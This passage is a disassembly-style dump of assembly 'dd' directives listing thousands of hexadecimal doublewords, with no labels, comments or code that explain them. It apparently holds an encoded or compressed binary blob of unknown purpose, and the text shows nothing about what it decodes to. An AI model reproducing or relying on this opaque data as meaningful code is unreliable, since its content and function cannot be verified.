8BBAB7B3h, 62603860h dd 0F10BFF00h, 383A3F79h, 8DCC00C6h, 51982F90h, 0F50086FBh dd 0F3CAF0A5h, 3AC53B6h, 5D36CE49h, 9980F48Ch, 9200D424h dd 6FDC4BC1h, 387957C0h, 400773Dh, 6582449Ah, 0BD00AB52h dd 0A362D57Fh, 13A692AEh, 722FA4h, 0AFAA4364h, 0D133032h dd 4000826Bh, 885A6619h, 0BDCB07F6h, 0C03722B7h, 0C9EAE609h dd 2814B139h, 0C100EC86h, 0E77F90D3h, 7891E546h, 0F127322h dd 0F7B1CBE9h, 6ABC3100h, 0C43F9BD8h, 81EA8076h, 0F5E20194h dd 39542449h, 0DC11009Eh, 7F556F79h, 0EB0B3000h, 4E5782Dh dd 0CAD40091h, 0EA4A38BEh, 4E1D5221h, 1D13029Bh, 26488C02h dd 0DD700009h, 0AA00E397h, 0F5ED28B6h, 3FF1A6Eh, 1D5FB2BEh dd 0A00087B5h, 0A7DACC2Ch, 0A15436D2h, 2C08698h, 536E3C50h dd 642F2Ch, 80196520h, 9EEE3703h, 1396E21Dh, 560068A4h dd 0A31D68E9h, 146100ECh, 1673F2A4h, 6F0EEE6Eh, 0C07B4F22h dd 0B9E98823h, 0BAFF00B1h, 0A9FBD4BFh, 0F568ACD2h, 0DE809008h dd 0C1DF9D3h, 0F18D0E6Fh, 0AB80B8A0h, 97A8C046h, 0BD588C00h dd 0F47DCA66h, 708E1ED1h, 3AC1C035h, 0BE06AD3Bh, 0D8EDC600h dd 88CA50B6h, 0B01A0555h, 71DFE10h, 0E022F88Ch, 120E4EA7h dd 50050C90h, 85207F84h, 0A2D68800h, 78A9456Fh, 0FCF81673h dd 888C4C2Ah, 9100D820h, 63B2C279h, 240C70B8h, 4045EF9h dd 880E21Dh, 0F69B80CEh, 5B2D87B2h, 63F29FA3h, 6DE83448h dd 0A1D41300h, 1EE4755Eh, 657D0227h, 7CC77E7h, 0A087D480h dd 8B006922h, 0D726607Ah dd 0BDE354CFh, 1D004178h, 7ED0A9C8h, 617CF99Eh, 9F9AE8F7h dd 98740236h, 973DA9Ch, 68B9E5EAh, 0E6D1E000h, 6017F16h dd 31DEEB4Ah, 1C205AD6h, 1CB9589Ah, 29F42800h, 57AC817Ah dd 54005074h, 4119BE60h, 1F7FF169h, 406D7296h, 7D053D0Eh dd 0B900EAEDh, 9BBDDDFEh, 30135AFh, 0F08D2BFFh, 60D0E161h dd 0DF00ABD6h, 7464B3B0h, 4148DCh, 8E3D2A2Bh, 8CC40820h dd 0BB816800h, 14BDEE36h, 21DE018Fh, 282FA3D9h, 0CA842054h dd 3A0084FAh, 46D9069h, 737CA1h, 19549857h, 53359F10h dd 2AEE7B05h, 24C70399h, 3CDACFB0h, 0FAD700F2h, 0F87A6B65h dd 3000AF89h, 0E702CC78h, 0E2E3F87h, 851B4DE3h, 95FCAA0h dd 3AF413C9h, 1A0B9907h, 0DBF0B596h, 1D1CE494h, 0C082B6FEh dd 9A12F3CFh, 6400BE1Eh, 0D9511042h, 0C0CAEEh, 0FB153F41h dd 7F76D768h, 0C73B8600h, 0A61A321Ch, 0EDA437DFh, 25426028h dd 0D900E8EBh, 14473CD8h, 0C475D01Fh, 0D072B621h, 0B7372DF4h dd 0C37DF500h, 23967B69h, 1C1F3B2Ah, 2CB03C00h, 2E24E774h dd 2D7F2100h, 8BDE98D1h, 78AF0096h, 0CEC6D7A8h, 0BB00B08Eh dd 0E2220B6Eh, 3ADF401Ah, 2C89D90Fh, 0D020BEE8h, 0D76B8E7Bh dd 43AC8D0Fh, 50FCC6C8h, 2AE2F4A6h, 0ADC5AFDh, 55348F95h dd 633700DDh, 0D48246C0h, 0AFB9A509h, 120D8070h, 0B8152507h dd 0E6C500AEh, 82F84D2Bh, 0AA00B32Fh, 494C99A1h, 21E41Bh dd 8C193431h, 0D1F546D0h, 38F3653Ch, 0F2DA89F7h, 81B8A0F8h dd 4C0CCED3h, 5E038D14h, 0EE097FA0h, 0B44860DAh, 0F500F2F6h dd 4933E683h, 2D89FA3h, 0D1D97D1Eh, 28416275h, 0BC4C804Bh dd 21F9C941h, 0A0931FB9h, 3BF74286h, 5C5060FBh, 0C147AA0Eh dd 0D94C4064h, 96E90DDAh, 38D70058h, 8B6C1783h, 4E6B581Eh dd 0DA002E5Ch, 0B23C6172h, 91B62CB8h, 0C05CBD48h, 36404C8Fh dd 0B7CEF774h, 0C7F97001h, 23246DB1h, 2100A82Ch, 0F472F095h dd 3B015150h, 0D72F46B4h, 0D3E47387h, 605B0006h, 0F5C8B936h dd 0C113FE7Bh, 2000F72Fh, 123E3373h, 82F60083h, 0ACF33BDEh dd 0AF3D756Fh, 185F007Eh, 0A0DAF28Eh, 0C7AB00C3h, 87C2382Fh dd 0D60002A2h, 0DDA7AE2Dh, 75AA364h, 1DD8B74Bh, 9802036h dd 5401E417h, 0EB96C1D0h, 62005B99h, 892CAA7Dh, 813EB46Ch dd 70555065h, 0D4234C67h, 8E4F371Dh, 8D20BEF3h, 46C1BFFEh dd 0C277FD1Ah, 0B5E24008h, 0E7C30BD4h, 1080CF89h, 0B0C1E70h dd 0B5E54896h, 0DD55F4C0h, 9ED116C9h, 8E6C409Bh, 60C8474Ah dd 6708B00h, 50973D33h, 7C9A022Bh, 0F093E4BEh, 34AE1E0h dd 0AD5E3500h, 0B3A71CEDh, 0ECFC50F1h, 0C89902F2h, 0C906CB49h dd 70662461h, 3E75633Ch, 1876039h, 39379179h, 26F9E8F7h dd 3E64FC51h, 0EE3D7838h, 0BE02A300h, 639DC355h, 0BBD3B102h dd 0C3762986h, 467800DDh, 4371F733h, 6877C6E1h, 36E3590Bh dd 48768008h, 16417AEh, 0DFF1A6D2h, 6057B421h, 0F20E2F8h dd 0B8FC3020h, 0ED7C92E8h, 0CC1CEE4Bh, 0C40CA1C0h, 16410h dd 0F8B2CC31h, 7E92E7B6h, 6C13C003h, 9872C94Eh, 204F57h dd 0D22CEA3Bh, 7360F954h, 933CC807h, 1920F628h, 0DB3C1h dd 0C29BE3D9h, 9C7D51D7h, 0B4C6550Eh, 1BADE00Ch, 0A3A6Ch dd 984F8650h, 5C91326Dh, 8F01E900h, 52C42DC8h, 43331280h dd 41540034h, 0FBBACF11h, 0A8EB9802h, 22D323h, 13B6E935h dd 44781F7Dh, 81D6CF3Ah, 6D4508D9h, 1BD4897Bh, 6CE300A0h dd 59063961h, 0FB01CBF1h, 7624414Fh, 0C6CCE91Dh, 0E7850005h dd 1ADAF334h, 8A031401h, 63FFFE50h, 0F4A1C0F6h, 7BA27278h dd 0F840923Dh, 8CBF0EC9h, 8EA7CFCBh, 0DAC551F5h, 0DBC4F042h dd 17BE0F00h, 18558B38h, 4C91067Bh, 8923C23h, 5DA3350Fh dd 60774236h, 2968E010h, 251700F4h, 0CE4E5F50h, 7D004F52h dd 3641834h, 2866006h, 48EEBD1Bh, 644094CCh, 9117EF0Dh dd 69093AF9h, 79C0C851h, 60144C39h, 9B13F001h, 3097ED5Eh dd 3B003254h, 0DEFE6DA3h, 16DC4A85h, 0B477FFh, 0F2248FECh dd 75093CC3h, 140A8C48h, 0C12C4560h, 894C0020h, 2ED8E196h dd 61AD04B5h, 0F60B0EFFh, 8D6809B4h, 4A748130h, 0EC400F08h dd 0F6BEF2Fh, 0B5B3E752h, 0D9D0240h, 8C00CF78h, 1FA666DAh dd 3AD7226h, 0FDA9D09Eh, 0FB95FCA5h, 0DBA1B00h, 44A6EC2h dd 5F32A719h, 0BFC88001h, 520196F9h, 8E30B72Ch, 0A5603873h dd 2A4B00F6h, 0ADC51560h, 0C70016BDh, 0BE4CF1Fh, 0AB3EFEh dd 811B668Ah, 821C998Ch, 6801AF98h, 3383F660h, 0D0314B06h dd 0DF2004Eh, 0C856EB33h, 11A829Ah, 0D118F843h, 20533174h dd 0B533E04h, 0D7191EB0h, 0ECA92F00h, 0F5D807h, 0C4A386D4h dd 782EAACAh, 4EE58301h, 4597F814h, 0DF10CCh, 326798F1h dd 0A7926241h, 0C75DD700h, 17F36B68h, 3D5700D6h, 0E732AD2Dh dd 84002E0Ah, 2DA700Dh, 3BD1B3CEh, 17A8348h, 5463E805h dd 0E03DA70Eh, 0F100FA16h, 9E7E6CC2h, 1F59205Dh, 40FD2EECh dd 9CB7ACA0h, 0E40940FEh, 68F3BE92h, 1CB2C87Ch, 0E57B0810h dd 26ED5080h, 51005E50h, 0BE8AC644h, 3FA31322h, 0BF14742h dd 0DEE566D9h, 939D3100h, 214BD5F2h, 24A7F0h, 0F7C6CF18h dd 0EBF95C39h, 430FA890h, 0C069861Ah, 5191E0DFh, 0D313122h dd 395ADA71h, 0CBB601C0h, 83AFD6F1h, 61C7D2D0h, 0DBAC188Ah dd 0F95FE0FFh, 53103C60h, 0E85117F1h, 1EC11CB3h, 625240E9h dd 0EDEE1F89h, 7162900h, 0D5548093h, 0D4923EAFh, 9D38BD30h dd 58C08450h, 0DD9F32Dh, 0B7390071h, 0CB297354h, 462C7225h dd 5A801434h, 74CE224Fh, 0ACEA2Eh, 0A480A7E3h, 0FF4BB49Eh dd 1C004E5Ah, 84EBC33Dh, 71080C8Ch, 0F30897ECh, 2253910Ah dd 0DA42B043h, 0D878AC74h, 394F00D6h, 0DC2D37E3h, 6200857Eh dd 7887A563h, 23E1FA1h, 4B5D79EBh, 10401CE9h, 0A007C02h dd 225FDEEFh, 1F9E7688h, 804817E3h, 82E42E12h, 78008187h dd 393FB126h, 7BAD19h, 7083C292h, 73FC2299h, 0FB467D00h dd 0C5BD8D01h, 77960E1Ah, 1942BC11h, 6440C49Bh, 0FC00D4ACh dd 0EF11202h, 0EBEEC2h, 0BDC90CC7h, 7922384Dh, 9D32BB00h dd 241D041Ch, 0D0F001B2h, 0A6DCBCD1h, 31A3FC43h, 36616607h dd 54F23CDAh, 0DCC0A07Dh, 0ECD5FE1h, 911DA0F5h, 4611D107h dd 0C20021A1h, 9B724A6Bh, 15FE2E71h, 0B83E92A9h, 0D2ABA500h dd 0CF362F0Dh, 0BB538E00h, 0A3A81FADh, 1784A226h, 80AD9138h dd 339E37C8h, 1FB2002Bh, 3D86BC69h, 0DCA82045h, 0F800CB83h dd 0C1F9F602h, 2249EAh, 15E3F29h, 0E27DA96Bh, 0B67EFD01h dd 3630206Eh, 0F52D3980h, 0AE7C3795h, 0E70A1F78h, 5430F2D7h dd 1AC465Eh, 592338B9h, 0D6C87F88h, 0BF704C1h, 7990BAh dd 0EA1448D7h, 33779Ch, 0B3863216h, 585EF809h, 1D004892h dd 91EB652Ch, 328470C8h, 0DC08FDDAh, 0F0CE8048h, 76F6500h dd 0BDF705A0h, 0C7C1C023h, 7B5E8A9Ch, 0A61083E7h, 8001555Ch dd 0B6C003h, 98B05BD9h, 9041F4BEh, 9305400h, 1A2AF28h dd 92EA4Ah, 136C3E53h, 6BB4DC96h, 0FD02E800h, 2AA04126h dd 0CA5900CDh, 0C3B825F9h, 100A556h, 0DC0D37A3h, 48909D2Ch dd 8F00C8F7h, 5F7A3527h, 5A004348h, 0F225742Fh, 3CC47E01h dd 373751AFh, 80C06530h, 0F60511C9h, 4DB07000h, 0BA04A154h dd 89DA1C43h, 0BBD84FBFh, 0C19F6283h, 0E8FCF1E8h, 82C5E100h dd 326910A0h, 8EEC0E5Eh dd 9D40BBA5h, 6ABFF54h, 0C886330Eh, 5E81C035h, 0E3A8E03h dd 0E08044A1h, 51059AE0h, 0FC3A0EEBh, 0FE6C06FFh, 22187609h dd 1F009779h, 0E5400B25h, 18E8FC5h, 0FE0CBBCEh, 10857A59h dd 3C1CB903h, 0E03E82C4h, 4700B338h, 0E430747Bh, 27002BC5h dd 0D01D58C2h, 9E0FE3h, 1F322205h, 8C67083Ch, 7D937300h dd 0C22040B9h, 87ED1FD6h, 3DF5EE53h, 0F1C4B080h, 3451A466h dd 8600037Ch, 0E55BE0CEh, 1E1C45F8h, 0C0FBC306h, 922E5407h dd 8D3A1462h, 42E9137Eh, 8808A719h, 69FB2180h, 121E7714h dd 45D0D117h, 0B703C5B8h, 0B22E9C2Dh, 7D993A80h, 60F03801h dd 0DF1A6FB9h, 28B3A9E5h, 3094E670h, 238A4759h, 96116A7Eh dd 1460C400h, 75FFC73Bh, 0A18AAF00h, 0E938A44Bh, 0E7742Ah dd 0B95F4EF4h, 0B242333Fh, 9E55920Fh, 90518C9Fh, 34D00A0h dd 678977C1h, 9C680B8h, 2055A8h, 1204C5C0h, 4042E151h dd 0CF1B1A0Eh, 0BFB0581Dh, 4ECA0D75h, 0C051F589h, 4838F71Bh dd 0A7449FF3h, 3121CE99h, 0A550F888h, 2FF8D806h, 0F42B0030h dd 459DFCBBh, 9538251Dh, 8F3B80D1h, 65153298h, 0ECA2F40Ch dd 0D0083B2Fh, 50B640E0h, 66313D9h, 98C5CCh, 0FC467390h dd 385836D5h, 56B66A07h, 19503D1Dh, 3A1FD6h, 8C2A4466h dd 0AC6EEBADh, 0E1DE1C00h, 107CFCDh, 2B370093h, 9A9D038Ah dd 3F90761Fh, 8F00C17Eh, 187A0C5Eh, 60C58597h, 410A11BBh dd 0E801B4E9h, 0D463704Eh, 3E8AA82h, 0ED2E00B1h, 480CADF1h dd 2F007B8Fh, 3704D515h, 9C9C271h, 0F5554B3Dh, 5DDAAC83h dd 4585068h, 46E418F4h, 7CA61009h, 48D21424h, 171B003Dh dd 305D8C45h, 0E460031Dh, 3A76AC5Fh, 2903A431h, 94111A62h dd 656B1172h, 151E02F6h, 0CA210E24h, 42B81774h, 0A24124Ah dd 12267E21h, 66B01003h, 80193688h, 220062F1h, 466D959Eh dd 3CF4F6h, 263E8E66h, 35CC8463h, 0B4559C00h, 0C5D0A1E6h dd 9EC600B3h, 0B98144DBh, 0DD0025B2h, 0D4FD94A7h, 45103h dd 12D01068h, 0E596EACEh, 0BA540D00h, 4C9CEDDCh, 31F22Eh dd 0A0B5C7D0h, 0E6B0647Dh, 3B551900h, 0E42FDD07h, 0F1719Ch dd 8B2C931Ah, 6BC5CD8Eh, 86F6DB00h, 7CBFA9E8h, 0A7DE00E0h dd 6774559Bh, 7660B3B5h, 6B9A3F56h, 0F88C3CF7h, 5C53EA80h dd 0F20927AFh, 1F9C7300h, 7F3067F3h, 8CEC00D5h, 520312C2h dd 1002C07h, 5EF659Ch, 0B23CF5h, 385F0468h, 2AFD859h, 8017EA3Dh dd 92875011h, 847E2Bh, 52F6D47Bh, 0D5B4A5A8h, 19EFBC12h dd 32630800h, 42CECCh, 669A102Ch, 9EAF383Ch, 3D03CB00h dd 1E69EE84h, 4FB13E6Eh, 902FD200h, 8D2489F4h, 0CCA01F73h dd 0FC3F5C77h, 0BC8181D1h, 98A4BF0Ch, 119BE0h, 0E6E2BDBh dd 3DAEB631h, 0C491C114h, 5D007E8Ch, 0AC3929B5h, 50FDE5FCh dd 7ACAA2h, 0F9CED666h, 2BF7AD3Ch, 0E9986F00h, 0BBAC386Dh dd 3A8F0E52h, 0B061AF81h, 248DE742h, 9800A974h, 0BDF81A03h dd 5261F7h, 0ACBFA112h, 0F62AECC4h, 75C77100h, 873B9AB8h dd 85F88Fh, 6972BE90h, 0FADD4953h, 201ECE4h, 0A5883A2Eh dd 77E89E34h, 0B7600F5h, 0CAD33959h, 0A00D5B1h, 9B1A1F1Eh dd 1EA46C45h, 47CCB7FEh, 0E496DBD8h, 9C08061h, 6D00C9BFh dd 93F15AC7h, 0F4454B9h, 71177337h, 5B3D8921h, 4E12D8E4h dd 19E9A000h, 8A694F86h, 0B4240097h, 5917F5C7h, 53007568h dd 5A6A0750h, 67FBAFAh, 3BEE0394h, 0EA0018FDh, 0C461808Fh dd 3A26F031h, 0E7808A93h, 8D02CCF5h, 0A1F6A930h, 0F304F400h dd 77613B0Bh, 0E83D00EAh, 6A392C76h, 0B40032F5h, 0EB50C830h dd 0AB58EFh, 8254DDAAh, 0E6B160D0h, 60CCE00h, 0B79EB3F2h dd 3FBB003Ch, 518E0785h, 67034F27h, 6B5E46A1h, 0D63A873h dd 7AD50E5Bh, 0CF1FCCBDh, 0A0804F02h, 0FA1AE032h, 7C4DD600h dd 2391CF18h, 941D0008h, 0C7E18007h, 7A7AC3C4h, 0B5C5F300h dd 51D81BEFh, 0A5CD01A1h, 0F58533DBh, 39BE8DCh, 0B48D360Fh dd 1D12A65Ah, 0E0A600D4h, 4FC4023Fh, 3000EEC1h, 0C99528BEh dd 7C910679h, 0A4010E07h, 8C421FBFh, 0D7E04A4Dh, 0A97C6580h dd 0F0689D00h, 8A7FD04Bh, 7D4300FBh, 38977B82h, 0D6F0E68Fh dd 0BDD7A1Ch, 0CAFC9307h, 8D212E20h, 9DCE00A9h, 0D085BEA6h dd 0A800E489h, 0F7B38236h, 206B8DAh, 5A875701h, 0DF8067AFh dd 0DECA8B02h, 0EA4D2B1Dh, 0B56D81C0h, 3ACBFB76h, 5787789Fh dd 0D3E2DD82h, 0B4807A43h, 2300F43Ah, 89F9C5D8h, 0F9F3E10h dd 1C517B86h, 0AD5A6F40h, 9C0108EEh, 7FF29237h, 2E606AF8h dd 87FF1C3Eh, 0D89881AAh, 206242A6h, 2C001C8Ch, 3F869974h dd 806B7Ch, 4456A86Dh, 7D849240h, 0DD97ED00h, 0E9765AF2h dd 0CDDE00DBh, 0A5530FB6h, 9D0033FEh, 0B2AB5F38h, 9522C7h dd 514768A1h, 0DD81B85Bh, 82005DFAh, 0AEFE96E8h, 0DC12D3h dd 0C4A6ECA8h, 0F1C9C1A1h, 245EAA00h, 2E6BDDFEh, 57400090h dd 1CE3D292h, 30029CF8h, 0E1028DEDh, 8F02E067h, 342C0E04h dd 5940C95Eh, 0C6E81CB8h, 510EC201h, 653AC3ECh, 0E12F3E4h dd 2CE904Dh, 869B360h, 5200DA82h, 0D9FC578Ch, 32ED8BDh dd 0CDAF926Ch, 7AA80B6Ah, 681D8034h, 0F3802779h, 437EBAC8h dd 0AEAB0070h, 505A12C6h, 990023C9h, 0A5786127h, 297590h dd 4DE39AD1h, 8F2156A1h, 648EB800h, 5F051E78h, 0D4CD070Ch dd 684D09h, 2EC302BDh, 4751A500h, 2569468Dh, 0DA8A269Eh dd 0CFE70CF9h, 0D9073A7Ch, 7E2C3C5Ch, 40BFA7F7h, 3123BCF1h dd 959C07AEh, 10595D0Fh, 357A8540h, 412FD100h, 0A1B0F456h dd 0E3DF3992h, 0A52CA080h, 980A7168h, 0AB5E1A02h, 404E8EAFh dd 73C86323h, 6E2A002Bh, 0C420C176h, 0C0BA15Bh, 2A6ACh dd 4D883405h, 460828E3h, 0F90E07B8h, 40422485h, 0EB2E3632h dd 0D8732A00h, 7B9B1BA5h, 6A3E0039h, 6E9CA22h, 0B200FF44h dd 0B6A57503h, 0C1D45Eh, 2943BFC2h, 0FFB71376h, 58D28840h dd 68502459h, 0BD8A00A6h, 0EA4F7FDAh, 0A500BBBAh, 0BCCBA397h dd 0A2EE1756h, 103740B8h, 6E4607E9h, 40B121D3h, 0B0202B28h dd 4BA94900h, 0E98853EFh, 9D709DE4h, 0A4EAA01h, 0AE6683C2h dd 3AA668A6h, 10D6C80h, 0D120F0F3h, 0B4410303h, 0C2655D3Fh dd 51346826h, 8DD21490h, 0B0248456h, 88EA184Eh, 11009C79h dd 19C138C4h, 0E6FF0Fh, 2566A21h, 40A96633h, 0BDF28400h dd 44641C22h, 4A9C0304h, 5AE37E3h, 0FEF0F990h, 0A220C700h dd 6715BF43h, 6DAA3F51h, 5F7B788Eh, 0C1FAA3A0h, 0D4E4DF9Bh dd 0CB6FA003h, 0B8A2F34Fh, 48F2F5h, 0B7B535BFh, 42F13ABBh dd 0B22BEC00h, 0CBDB3D5Fh, 0D8D6004Eh, 824658A7h, 191EA6B8h dd 0DE07558Eh, 2BE1EC74h, 2C30782Fh, 0E73C9h, 6A7326F6h dd 18232AE2h, 0C317DA00h, 3598FC5Fh, 0E5AB00B7h, 8BDF908Dh dd 9903803Bh, 0F09B27D0h, 9DD188C6h, 49BDA0CAh, 24E700B7h dd 2A9F5E20h, 710F3D2Fh, 23076DCCh, 13FBBB05h, 4AD0811h dd 0C088C878h, 6B755C4Eh, 3B0594Ch, 9857C136h, 754CFA82h dd 12A8E5C3h, 63004806h, 0B897D65Ch, 1EF0533Eh, 0E21EAh dd 23785ECBh, 0C405F395h, 0BBDC84EDh, 4E76E001h, 0F180AF3Ch dd 7A98D186h, 3300B11Eh, 0D6CDEB17h, 2B93C8h, 82950199h dd 0B373F7FFh, 83973816h, 3CFC1000h, 29067Ah, 96409FE1h dd 4E866530h, 469AE000h, 0F75A2FE9h, 0FA7E1E8Ah, 222C006Bh dd 4A24DA61h dd 89710F00h, 7F7388B7h, 98270956h, 0B481061Dh, 6E13C8A4h dd 303AC9C0h, 8C671E62h, 0C0645F70h, 60848A6Ch, 0A30121F7h dd 1BBC61Dh, 0D0DC4372h, 0E05300E1h, 5C8EF9D8h, 79001261h dd 6ECCAEFh, 0C3DC93h, 0FDF52BB0h, 0EA841F2Ah, 0A7015100h dd 78976ED0h, 733A00C2h, 3B6229F0h, 31764C68h, 38D0C400h dd 0A3D7DE18h, 589016h, 0E1FDEA72h, 0D3E5BCFAh, 4434DF00h dd 590CC215h, 0C31000FCh, 0D9199476h, 80002875h, 0E5D71143h dd 0E8A83Bh, 0EE1ED157h, 39870337h, 0EA9B1600h, 86F0444Ch dd 0B4FCEFh, 0BB623E5Eh, 1CA5A752h, 313B58h, 9386E95Bh dd 1252788h, 0C019984Fh, 0C4B97EA2h, 0ED0082AEh, 2C7CE5D6h dd 0F19342h, 15DD890h, 502F2821h, 7303BF7Eh, 4336840Eh dd 4BE2C0A0h, 28203BFCh, 0ADE3D180h, 0AC646794h, 2B8C9700h dd 31733329h, 0B9D20022h, 6D705F8Dh, 0C90062C2h, 0ABA0E856h dd 912E60h, 819512B3h, 4C86F254h, 0E74E0700h, 465AA5D4h dd 40D71815h, 4FEF823h, 0D082701h, 0DA175303h, 2DFB0AF8h dd 55FC75C1h, 54954800h, 0BD8135h, 0D2DC3D65h, 912B2450h dd 4C2F5D00h, 1315A1EAh, 6561002Eh, 5B3BAF69h, 0C0F22ABCh dd 0F127E8E7h, 0DD782909h, 9815568h, 0D08FA306h, 2F002296h dd 38EC31CFh, 1E39D25h, 88E45043h, 0C806870Eh, 0D8052C95h dd 0C4B6CAF2h, 841ECAC0h, 0F0D201FDh, 67864153h, 57E4539Bh dd 76C120BCh, 3FCFEDBh, 4181D713h, 6A816233h, 0C88AF0C7h dd 0D9BBD003h, 0C85A6402h, 0FB25D7Bh, 83B9F9A9h, 6E7F1C41h dd 3C05F83Eh, 0DE61607h, 3B31EE0h, 2BC9C8B4h, 0EE1D03EDh dd 682FC0FCh, 6724F2A8h, 4BD36300h, 255CF4A2h, 4F043D61h dd 47B52E04h, 5DACC0EEh, 0C43E503Eh, 95D18E6Fh, 4C8EFF29h dd 97BF001Ah, 3F694164h, 0C88051A8h, 0B812F796h, 743A8666h dd 643D00F0h, 26919E99h, 0EC6E010Eh, 0B5E8F1D4h, 7AEDDC7Eh dd 5DFE4B05h, 8C1F5352h, 9D346380h, 3AECD70Dh, 508115D2h dd 86358566h, 3B94407Dh, 0E800D15Dh, 8AF26E79h, 94F863h dd 0AAEE0BB8h, 8371A764h, 67D33700h, 0DCE72481h, 42380AA0h dd 0A84EF0Fh, 87F8BE49h, 305F5984h, 9FBA351Ch, 0F3DEC800h dd 0C68A6155h, 898E0088h, 621394D5h, 73F814C7h, 92640300h dd 0BF872991h, 6CFAD0h, 161CEFD4h, 90AEB07Ah, 7B441200h dd 52468664h, 0BE240041h, 82F3E78Dh, 61288505h, 0FA3FF12Ch dd 9C8600F0h, 0E6A8CDEEh, 743E0008h, 6F977E16h, 0D507B332h dd 6F66112h, 0FBF9BCB0h, 0F4930365h, 30E899EEh, 0D786D688h dd 0BB152200h, 8D23B172h, 56F600D8h, 896C492Ah, 0D900907Bh dd 0BC06759Ch, 1841CCh, 8593A477h, 6A7932EBh, 5802B3Eh dd 0F143C7C6h, 38B19400h, 1E4F4Bh, 0EA0C1746h, 0F4636F56h dd 9D91FC00h, 0B2A3E442h, 0CBB907AAh, 37279097h, 0EA2B5096h dd 170080BFh, 16CAD808h, 787143DCh, 0E6C98F1h, 5074A1C7h dd 53C2D4C0h, 41E0F2A7h, 4E836401h, 0DBE32DA8h, 0EFCB2421h dd 90244FB1h, 7C9C5AE0h, 10961251h, 0DC8D006Eh, 0C7B99757h dd 3DE59B00h, 34FC5047h, 0F8289020h, 0CBCC00BFh, 526257C4h dd 0DD00A32Eh, 0F09C5688h, 0F24C34h, 6E8690Fh, 51E6123Eh dd 2B00E57Ah, 0D3BF902Ah, 7601C0B1h, 917900F4h, 121EE4A9h dd 240789EFh, 0F0D01C4Dh, 5D400AB0h, 0E4AB0068h, 0B14763AFh dd 951610E5h, 76003FBDh, 0B2F004C8h, 0C7603F7h, 425A4702h dd 0D8DE60E3h, 0CAEB6700h, 6353A9F6h, 381A0C80h, 3DE0F36Fh dd 0A300E37Ch, 0C6C97EB3h, 4275A7h, 701FEE59h, 8A02FB7Ch dd 1DA82900h, 0F419235Dh, 3BBA28B8h, 802F03E4h, 0CD6E8DC0h dd 0E842A989h, 7A00C2B6h, 0ACCE8727h, 70DF8E10h, 0F8430004h dd 0CB4DC9E6h, 561ED215h, 0FD8336E0h, 0D05A2438h, 0F1EE125h dd 30281DE7h, 81DDA9A0h, 0FA017C1Fh, 84430551h, 8C21B832h dd 0AEDE9C10h, 77A50059h, 26083A55h, 0D20336BCh, 526F1133h dd 0E968A096h, 9C6400BDh, 730DB815h, 0FA00250Ch, 0EC6A33EBh dd 2C2095AFh, 4C0B54h, 4E35A63Ah, 0CA00CFCDh, 0AC5BE9A5h dd 4C885EFFh, 1D00D38Bh, 37FAC344h, 4B0025DDh, 0C61463ECh dd 4A0BE1h, 0EF7ADA45h, 848E2FF6h, 0CC6DA600h, 0EE7546B7h dd 534F00EAh, 2BF9691Ch, 27004182h, 0F0B79A30h, 1655DB0Ch dd 8F4E89h, 0EEDA68A1h, 7400E2A4h, 0E14A201Eh, 45B3E4h dd 0EBF8F354h, 88579F51h, 70D9A900h, 0AA8FEE99h, 314A00C0h dd 3765B35Ch, 6DF6AB69h, 0E2124498h, 0C04083F3h, 46263E0Ah dd 10AD0078h, 4F49B161h, 600BBDDh, 0D70B9088h, 505CE8h dd 686FCED5h, 130AF8F2h, 54A2E300h, 28561545h, 840400F6h dd 711AEFCEh, 52380114h, 6F7D8018h, 59AF8C49h, 90E10222h dd 38B6A57Eh, 6A3718C8h, 0BAD30800h, 556149F3h, 0C06F58CDh dd 611A7C73h, 2F6BA837h, 66318EF3h, 80DBCA1Ch, 0EDAFFA07h dd 7844184Ch, 83870934h, 9100D588h, 2CBAD162h, 0D32EE100h dd 0C68EA518h, 0EE90C45h, 0BC306BC1h, 0C2C332Ch, 0A1658586h dd 0F8535870h, 49B4A61Ch, 5C01287Eh, 80034AA4h, 0CDA3ED31h dd 0A0F56AB2h, 707BE44Ch, 3EF10477h, 0C3CE61C2h, 30E1E723h dd 0D728E8D8h, 50B2B600h, 59651CFBh, 75C900BAh, 9AD32187h dd 3D00E3A5h, 0DC093126h, 0E2E41FAh, 0F5C45AC6h, 975308C0h dd 0FE00BC33h, 0A7BD3971h, 33DC9DAh, 0AD38A915h, 2B8A2B1h dd 0E80043CAh, 2B88A375h, 167D794Ah, 0E7041Dh, 1BCC344Fh dd 7C065405h, 0D4152A22h, 4F157C1h, 34A006E1h, 26005308h dd 35C609B2h, 76FA942h, 611FBF38h, 0DC4783B6h, 559940E0h dd 3EB9143Eh, 65690F4Fh, 0EDEE87F7h, 2106C8D1h, 1BB459A0h dd 500B422Eh, 601261B2h, 0C154682Ch, 4097D829h, 0B6B840E2h dd 0FD00B16Ah, 0E84AEB49h, 11C6C5Ah, 23B307EEh, 95C5B8DDh dd 106019B9h, 0E91D3516h, 1961D8F7h, 0D000928Bh, 4AC15D1Ah dd 52ED6FEBh, 4F107028h, 0A8171E70h, 62E29E80h, 0FB92A407h dd 122BE888h, 0BA776107h, 7C80B6C4h, 7C32D2D8h, 5469C16Dh dd 58EB14AEh, 9F00A44Ch, 0D833E8F0h, 40DABE3Ch, 3F141DD5h dd 12006FDh, 6AD09CB2h, 0A887C0BAh, 6C4647A6h, 32591438h dd 61BC0758h, 0FC6ADE4Fh, 7504215Dh, 0C7AFB3E1h, 931210BAh dd 0E4200002h, 0F0635CD7h, 31208500h, 67B31FB8h, 0EDD6063Dh dd 290DCAAFh, 225D0B22h, 1B22696Ch, 2844423Eh, 7F9028EFh dd 280F29CAh, 0C5DC1A04h, 814E30Ah, 23916864h, 0F93C500h dd 2B589204h, 697F2F00h, 51064743h, 0D4120015h, 7C7E6219h dd 6B098B0Ah, 1AB7282h, 73BE3F86h, 0F29B4BDCh, 1A28399Eh dd 0DC2B6200h, 0E103E5D6h, 0E051402Ch, 28225F60h, 0DE7CB0h dd 0D2134474h, 0A28BECDDh, 0FC9D6A00h, 5933CF3h, 374E393Eh dd 84342581h, 0CC94F159h, 0BD00F546h, 715702ABh, 79AE59Eh dd 38430CE9h, 148F708Dh, 8A00F4B8h, 0D926D26Ch, 0FEA0FB10h dd 275A0349h, 53BA4B54h, 0C8B4ACA0h, 0F711D8A9h, 7346EBB0h dd 65F0B312h, 0C8801C8Bh, 13705BEDh, 88633026h, 58319F97h dd 0A1405EE7h, 0AEB10Ah, 0B55FB068h, 291AA217h, 9DBFB807h dd 1E708A4Ch, 4892B3h, 0C4AE83E7h, 0C660E54Eh, 0AFCDCF00h dd 4347415Dh, 0F8F9A386h, 0BC84C9h, 42D239FFh, 0A051CB87h dd 0B5805E1Fh, 54002F1Fh, 89F02B13h, 57731463h, 